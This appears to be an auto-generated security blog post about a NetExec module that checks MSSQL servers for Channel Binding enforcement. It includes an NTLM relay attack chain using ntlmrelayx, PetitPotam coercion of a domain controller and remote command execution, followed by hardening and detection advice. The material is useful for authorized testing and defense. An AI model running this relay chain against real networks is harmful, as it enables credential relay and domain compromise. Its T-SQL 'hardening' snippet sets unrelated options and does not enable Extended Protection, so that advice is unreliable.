Listen to this Post
Introduction:
NTLM relay attacks remain one of the most effective post-exploitation techniques in Active Directory environments, but their success often hinges on finding a suitable target that does not enforce channel binding. Microsoft SQL Server (MSSQL) instances have emerged as a hidden gem for attackers when traditional relay targets like SMB or HTTP are unavailable. A new module for the NetExec framework, mssql_cbt, allows penetration testers and red teamers to quickly determine if an MSSQL server is vulnerable to relay attacks by checking whether Channel Binding Tokens (CBT) or Microsoft’s “Extended Protection” are required, a critical defense that, if absent, leaves the database open to credential relaying.
Learning Objectives:
- Understand the role of Channel Binding Tokens (CBT) in preventing NTLM relay attacks against MSSQL.
- Learn how to use the new NetExec module `mssql_cbt` to audit MSSQL servers for CBT enforcement.
- Master a step-by-step attack chain combining coercion, relay, and exploitation using tools like NetExec, Responder, and ntlmrelayx.
You Should Know:
- What is Channel Binding (CBT) and Why It Matters for MSSQL
Extended Protection for Authentication, which includes Channel Binding Tokens (CBT), is a security feature introduced by Microsoft to prevent NTLM relay attacks. When enforced, the server binds the authentication session to the TLS channel, ensuring that the credentials presented match the original secure channel. Without CBT, an attacker can relay captured NTLM authentication from one machine (e.g., a coerced server) to the MSSQL instance, gaining unauthorized access with the privileges of the relayed account.
The new NetExec module `mssql_cbt` automates the process of checking whether a given MSSQL server requires CBT. It connects to the target, inspects the authentication settings, and reports if the server is vulnerable to relay attacks.
Step-by-step guide:
1. Install or Update NetExec:
Ensure you have the latest version of NetExec (formerly CrackMapExec) with the new module:
git clone https://github.com/Pennyw0rth/NetExec cd NetExec pip install .
Alternatively, update via pip:
pip install --upgrade netexec
2. Run the `mssql_cbt` Module:
To check a single MSSQL server:
nxc mssql <target_ip> -u <username> -p <password> -M mssql_cbt
If you have a list of targets:
nxc mssql targets.txt -u <username> -p <password> -M mssql_cbt
Example output:
MSSQL 192.168.1.100:1433 ... CBT required: False (VULNERABLE TO RELAY) MSSQL 192.168.1.101:1433 ... CBT required: True (NOT VULNERABLE)
3. Interpret Results:
– `CBT required: False` – The server does not enforce Extended Protection. It is vulnerable to NTLM relay attacks.
– `CBT required: True` – The server is protected and will reject relayed NTLM tokens.
- Simulating an NTLM Relay Attack Against a Vulnerable MSSQL Instance
Once you identify an MSSQL server that does not enforce CBT, you can attempt a relay attack. The typical workflow involves coercing authentication from a privileged machine (like a domain controller) to your attacker machine, then relaying that authentication to the vulnerable MSSQL server.
Step-by-step guide:
1. Set Up the Relay Listener:
Use `ntlmrelayx` from Impacket to relay NTLM authentication to the MSSQL target.
ntlmrelayx.py -t mssql://<vulnerable_sql_ip> -smb2support
The `-smb2support` flag ensures compatibility with modern SMB versions.
2. Coerce Authentication from a Target Machine:
Use a coercion tool like `PetitPotam` or `printerbug` to force a high-value machine (e.g., a domain controller) to authenticate to your relay listener.
python3 PetitPotam.py -u <domain_user> -p <password> -d <domain> <attacker_ip> <target_ip>
This command tricks the target machine into sending its NTLM hash to your relay listener.
3. Relay and Execute Commands:
If successful, `ntlmrelayx` will relay the captured authentication to the MSSQL server. You can then execute SQL commands or even gain a shell.
If relayed account has sysadmin privileges ntlmrelayx.py -t mssql://<vuln_sql_ip> -smb2support -q
The tool will spawn an interactive MSSQL session or allow command execution via xp_cmdshell.
4. Automate with NetExec:
After relaying, use NetExec to verify access and execute commands:
nxc mssql <vuln_sql_ip> -u <relayed_user> -H <ntlm_hash> -x "whoami"
3. Detecting and Hardening MSSQL Against Relay Attacks
For defenders, understanding how to detect and prevent these attacks is critical. The primary mitigation is enforcing Extended Protection (Channel Binding) for SQL Server authentication.
Step-by-step guide:
1. Check Current Configuration:
On Windows, use PowerShell to check if the SQL Server instance requires encryption and extended protection.
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\MSSQL15.MSSQLSERVER\MSSQLServer\SuperSocketNetLib\"
Look for keys like `ForceEncryption` and `ExtendedProtection`.
2. Enable Encryption and Extended Protection:
Using SQL Server Configuration Manager:
- Open SQL Server Configuration Manager.
- Navigate to SQL Server Network Configuration > Protocols for [Instance Name].
- Right-click on TCP/IP and select Properties.
- Under the “Advanced” tab, set Force Encryption to
Yes. - Under the “Authentication” tab (depending on version), set Extended Protection to `Required` or
Allowed.
Alternatively, using Transact-SQL:
EXEC sp_configure 'network packet size', 4096; EXEC sp_configure 'remote login timeout', 10; EXEC sp_configure 'remote proc trans', 1; RECONFIGURE;
Note: Extended Protection settings may require a registry change or restart of the SQL Server service.
3. Verify CBT Enforcement:
Re-run the NetExec module to confirm that the server now reports CBT required: True.
nxc mssql <target_ip> -u <admin> -p <pass> -M mssql_cbt
4. Manual Testing with Python and TDS.py
For deeper understanding, the underlying implementation involves modifying the TDS protocol client to include the Channel Binding Token. This was originally detailed in Aurélien Chalot’s blog post.
Step-by-step guide:
1. Clone and Modify TDS.py:
git clone https://github.com/secureauthcorp/tds.py cd tds.py
2. Implement CBT:
Refer to the blog post at https://lnkd.in/eK7XnZdG for the full code modifications. The key steps involve retrieving the TLS channel bindings and embedding them into the authentication payload.
3. Test the Modified Client:
python3 mssqlclient.py -cbt <target_ip> -windows-auth <domain>/<user>:<pass>
If the server requires CBT and it’s not provided, the connection will fail. This confirms the server’s protection is active.
5. Mitigation and Best Practices for MSSQL Security
To comprehensively secure MSSQL against relay attacks, implement these additional measures:
– Use Kerberos Authentication: Where possible, configure SQL Server to use Kerberos instead of NTLM. This inherently prevents NTLM relay.
– Service Principal Names (SPNs): Ensure SPNs are correctly registered for SQL Server instances to enable Kerberos.
– Network Segmentation: Place MSSQL servers in isolated network segments with strict firewall rules limiting access to only authorized hosts.
– Regular Auditing: Use the `mssql_cbt` module during regular security assessments to ensure no new vulnerable instances appear.
– Monitor Event Logs: Look for Event ID 4776 (Credential Validation) and 4625 (Logon Failure) to detect relay attempts.
What Undercode Say:
- Key Takeaway 1: The new NetExec `mssql_cbt` module provides a simple yet powerful method to audit MSSQL servers for a critical misconfiguration—lack of Extended Protection—that can lead to privilege escalation via NTLM relay.
- Key Takeaway 2: Defenders must move beyond relying solely on network-level controls and enforce application-layer protections like Channel Binding Tokens to close this common attack vector.
Analysis: NTLM relay attacks have plagued Active Directory environments for years, but the focus often remains on SMB and HTTP. The `mssql_cbt` module highlights that databases are equally viable relay targets. The attack chain—coercion, relay, and execution—demonstrates how a single misconfigured MSSQL server can lead to complete domain compromise, especially when administrative accounts are relayed. The community’s rapid development of detection and exploitation tools underscores the need for continuous hardening and validation.
Prediction:
As organizations increasingly rely on hybrid and cloud-integrated environments, legacy NTLM authentication will continue to be phased out, but its complete removal will take years. During this transition, we expect to see a surge in relay attacks targeting less obvious services like MSSQL, LDAP, and even cloud-based authentication bridges. The introduction of modules like `mssql_cbt` signals a broader trend where red team tools will incorporate automated, service-specific vulnerability checks, pushing defenders to adopt Zero Trust principles that require encryption and mutual authentication by default for all database and application services.
▶️ Related Video (76% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Alexander Neff – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
